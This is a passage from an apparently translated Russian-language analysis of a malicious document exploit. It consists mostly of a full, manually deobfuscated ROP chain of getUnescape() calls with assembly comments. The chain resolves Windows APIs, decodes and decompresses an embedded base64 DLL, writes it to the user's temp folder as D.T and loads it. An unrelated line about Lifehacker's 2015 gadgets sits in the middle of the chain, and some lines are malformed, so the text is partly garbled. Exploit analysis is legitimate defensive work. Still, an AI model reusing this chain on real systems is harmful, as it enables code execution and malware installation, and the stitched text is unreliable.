r =getUnescape(0x41414141); // Placeholder for ptr to LoadLibrary Handle

r =getUnescape(moduleLoadAddr 0x818047); // data_segment 0x47 ("wcsstr")

GetProcAddress вернет адрес wcsstr() в EAX. Параметры для wcsstr() были подготовлены ранее, так что осталось только осуществить вызов. В последней инструкции набора к EAX добавляется некоторое значение, таким образом, он указывает не на разделитель “Module”, а непосредственно на начало нашего кода.

r =getUnescape(moduleLoadAddr 0x154a); // jmp eax {MSVCR90!wcsstr (7189752c)}

r =getUnescape(moduleLoadAddr 0x5ec1a0); // pop ecx/pop ecx/ret

r =getUnescape(0x41414141); // Ptr to stack populated during setup

r =getUnescape(moduleLoadAddr 0x60a990); // Ptr to unicode "Module" in .data

r =getUnescape(moduleLoadAddr 0x2df56d); // add eax, 0ch/ret

Подготовка и написание DLL

Теперь в ROP цепочке содержится указатель на сжатую, зашифрованную base64 DLL. Остальная часть цепочки расшифровывает (CryptStringToBinaryA), распаковывает (RtlDecompressBuffer) и записывает DLL в «C:UsersuserAppDataLocalTempD.T» с использованием тех же самых высокоуровневых гаджетов, описанных в этом разделе. Для определения директории хранения временных файлов, используемой пользователем, — туда будет сохранена DLL — вызывается функция GetTempPathA().

Загрузка DLL.

Что ж, DLL записана в папку D.T, ее загрузка осуществляется с помощью функции LoadLibraryA(). DLL автоматически стартует свой поток, и далее из ROP цепочки вызывается Sleep().

r =getUnescape(moduleLoadAddr 0x51f5fd); // pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f1214); // 65cf2214={kernel32!LoadLibraryA (769d2864)}

r =getUnescape(moduleLoadAddr 0x4b1788); // call [eax]/ret

r =getUnescape(moduleLoadAddr 0x818101); // Loads D.T as a library

r =getUnescape(moduleLoadAddr 0x51f5fd); // pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f10c0); // ds:0023:65cf20c0={kernel32!SleepStub (769cef66)}

r =getUnescape(moduleLoadAddr 0x4b1788); // call [eax]/ret

r =getUnescape(moduleLoadAddr 0x17); // ret

r =getUnescape(0x1010101);

Полная ROP цепочка.

Далее я предоставлю полную версию ROP цепочки. Я вручную деобфусцировал ее и добавил ассемблерные эквиваленты команд.

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x41bc90); //push esp/pop esi/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818001); //data_segment 0x1

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x54746547);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret ;

r =getUnescape(moduleLoadAddr 0x818005); //scratch_space 0x5

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x50706d65);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

Гаджет:  Самые многообещающие гаджеты 2015 года по версии Лайфхакера - Лайфхакер

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818009); //scratch_space 0x9

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x41687461);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x81800d); //scratch_space 0xd

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x41414100);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x81800e); //scratch_space 0xe

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x69727766);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818012); //scratch_space 0x12

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x41006574);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818015); //scratch_space 0x15

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x41006277);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818018); //scratch_space 0x18

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x70797243);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x81801c); //scratch_space 0x1c

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x72745374);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818020); //scratch_space 0x20

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x54676e69);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818024); //scratch_space 0x24

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x6e69426f);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818028); //scratch_space 0x28

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x41797261);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x81802c); //scratch_space 0x2c

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x41414100);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x81802d); //scratch_space 0x2d

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x6c64746e);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818031); //scratch_space 0x31

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x4141006c);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818033); //scratch_space 0x33

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x446c7452);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818037); //scratch_space 0x37

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x6d6f6365);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x81803b); //scratch_space 0x3b

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x73657270);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x81803f); //scratch_space 0x3f

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x66754273);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818043); //scratch_space 0x43

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x726566);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x818047); //scratch_space 0x47

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x73736377);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x81804b); //scratch_space 0x4b

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x41007274);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc0240);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x538c1d); //xchg eax,edi/ret

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc023c);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(moduleLoadAddr 0x816e96); //ptr to «MSVCR90.dll»

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc022c);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f11d4); //Address to kernel32!GetProcAddressStub

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(0x41414141); // Placeholder for ptr to LoadLibrary Handle

r =getUnescape(moduleLoadAddr 0x818047); //scratch_space 0x47 («wcsstr»)

r =getUnescape(moduleLoadAddr 0x154a); //jmp eax {MSVCR90!wcsstr (7189752c)}

r =getUnescape(moduleLoadAddr 0x5ec1a0); //pop ecx/pop ecx/ret

r =getUnescape(0x41414141); // Placeholder for Ptr to «Module» (unicode)

r =getUnescape(moduleLoadAddr 0x60a990] // «Module» (unicode)

r =getUnescape(moduleLoadAddr 0x2df56d); //add eax, 0ch/ret ; Points to after «Module»

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x81805e); //scratch_space 0x5e

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret ; Copies the start of that string above to the scratchspace

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x81804e); //scratch_space 0x4e

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(0x1010101);

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(moduleLoadAddr 0x817030); //pointer to «Crypt32.dll»

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc02ac);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret; ; Loads the address of «Crypt32.dll» to 4141 below

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f11d4); //Address to kernel32!GetProcAddressStub

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(0x41414141); // Placeholder for the address of «Crypt32.dll»

r =getUnescape(moduleLoadAddr 0x818018); //scratch_space 0x18 // Place holder in scratch space for handle of crypt32 from loadlibrary

r =getUnescape(moduleLoadAddr 0x57c7ce); //xchg eax,ebp/ret

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(moduleLoadAddr 0x81805e); //scratch_space 0x5e

r =getUnescape(moduleLoadAddr 0x465f20); //mov eax,dword ptr [ecx]/ret

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc033c);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x502076); //xor eax, eax/ret

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret ;

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc0340);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x502076); //xor eax, eax/ret

r =getUnescape(moduleLoadAddr 0x5d72b8); //inc eax/ret

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc0344);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x57c7ce); //xchg eax,ebp/ret ; sets ebp to attacker controlled data

r =getUnescape(moduleLoadAddr 0x154a); //jmp eax {CRYPT32!CryptStringToBinaryA (756e1360)}

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(0x41414141); // Placeholder for ptr to base64 above

r =getUnescape(0x42424242); // Placeholder for zeros above

r =getUnescape(0x43434343); // place holder for 1 above

r =getUnescape(moduleLoadAddr 0x818066); //scratch_space 0x66

r =getUnescape(moduleLoadAddr 0x81804e); //scratch_space 0x4e

r =getUnescape(moduleLoadAddr 0x818056); //scratch_space 0x56

r =getUnescape(moduleLoadAddr 0x81805a); //scratch_space 0x5a

r =getUnescape(moduleLoadAddr 0x502076); //xor eax, eax/ret

r =getUnescape(moduleLoadAddr 0x5d72b8); //inc eax/ret

r =getUnescape(moduleLoadAddr 0x5d72b8); //inc eax/ret

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc0428);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret ; ecx = 2

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(moduleLoadAddr 0x81804e); //; scratch_space 0x4e

r =getUnescape(moduleLoadAddr 0x465f20); //mov eax,dword ptr [ecx]/ret

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc0438);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(moduleLoadAddr 0x81805e); //scratch_space 5e

r =getUnescape(moduleLoadAddr 0x465f20); //mov eax,dword ptr [ecx]/ret

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc042c);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(moduleLoadAddr 0x81802d); //ptr to string (ntdll)

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc0418);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f11d4); //Address to kernel32!GetProcAddressStub

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(0x41414141); // place holder for above

r =getUnescape(moduleLoadAddr 0x818033); //prt to str «RtlDecompressBuffer»

r =getUnescape(moduleLoadAddr 0x154a); //jmp eax {ntdll!RtlDecompressBuffer (77585001)}

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(0x41414141); // Place Holder for above — which is 2 (LZNT)

r =getUnescape(0x44444444); // Place Holder for above — ptr to b64 blob

r =getUnescape(0x1010101); // Place Holder for above — 01010101

r =getUnescape(moduleLoadAddr 0x818066); //scratch_space 66 — ptr to decoded blob

r =getUnescape(0x43434343); // Place holder for above 00004a51

r =getUnescape(moduleLoadAddr 0x818052); //scratch_space 52 ptr to «756f7365»

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(moduleLoadAddr 0x816e96); //ptr to «MSVCR90.dll»

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc047c);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f11d4); //Address to kernel32!GetProcAddressStub

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(0x41414141); // handle

r =getUnescape(moduleLoadAddr 0x81800e); //ptr to «fwrite»

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc05ec);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret;

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f1214); //65cf2214={kernel32!LoadLibraryA (769d2864)}

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(moduleLoadAddr 0x60a4fc); //ptr to Kernel32.dll

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc04e0);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f11d4); //Address to kernel32!GetProcAddressStub

r =getUnescape(moduleLoadAddr 0x4b1788); //call [eax]/ret

r =getUnescape(0x41414141); // Handle

r =getUnescape(moduleLoadAddr 0x818001] ptr to GetTempPathA

r =getUnescape(moduleLoadAddr 0x154a); //jmp eax {kernel32!GetTempPathA (769e8996)}

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(0x1010101); //

r =getUnescape(moduleLoadAddr 0x818101); //scratch_space 01; to be used to store the path

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(moduleLoadAddr 0x818101); //scratch_space 01; path

r =getUnescape(moduleLoadAddr 0x4f16f4); //add eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret ; is zero

r =getUnescape(0x542e44); // is «D.T»

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x502076); //xor eax, eax/ret ;

r =getUnescape(moduleLoadAddr 0x5d72b8); //inc eax/ret ;

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret ;

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc05f8);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x5efb29); //pop ecx/ret

r =getUnescape(moduleLoadAddr 0x818052]

r =getUnescape(moduleLoadAddr 0x465f20); //mov eax,dword ptr [ecx]/ret

r =getUnescape(moduleLoadAddr 0x508c23); //xchg eax,ecx/ret

r =getUnescape(moduleLoadAddr 0x5ec230); //pop edi/ret

r =getUnescape(0xcccc05fc);

r =getUnescape(moduleLoadAddr 0x4225cc); //movsx edi,di/ret

r =getUnescape(moduleLoadAddr 0x17); //ret

r =getUnescape(moduleLoadAddr 0x13ca8b); //add edi,esi/ret

r =getUnescape(moduleLoadAddr 0x25e883); //push edi/pop eax/ret

r =getUnescape(moduleLoadAddr 0x46d6ca); //mov [eax], ecx/ret

r =getUnescape(moduleLoadAddr 0x51f5fd); //pop eax/ret

r =getUnescape(moduleLoadAddr 0x5f165c); //65cf265c={MSVCR90!fopen (7188fe4a)}

r =getUnescape(moduleLoadAddr 0x1dee7); //jmp [eax]

r =getUnescape(moduleLoadAddr 0x5ec1a0); //pop ecx/pop ecx/ret

r =getUnescape(moduleLoadAddr 0x818101); //scratch_space 01 ; Points to temppath DLL name

r =getUnescape(moduleLoadAddr 0x818015); //scratch_space 15 ; points to «wb»

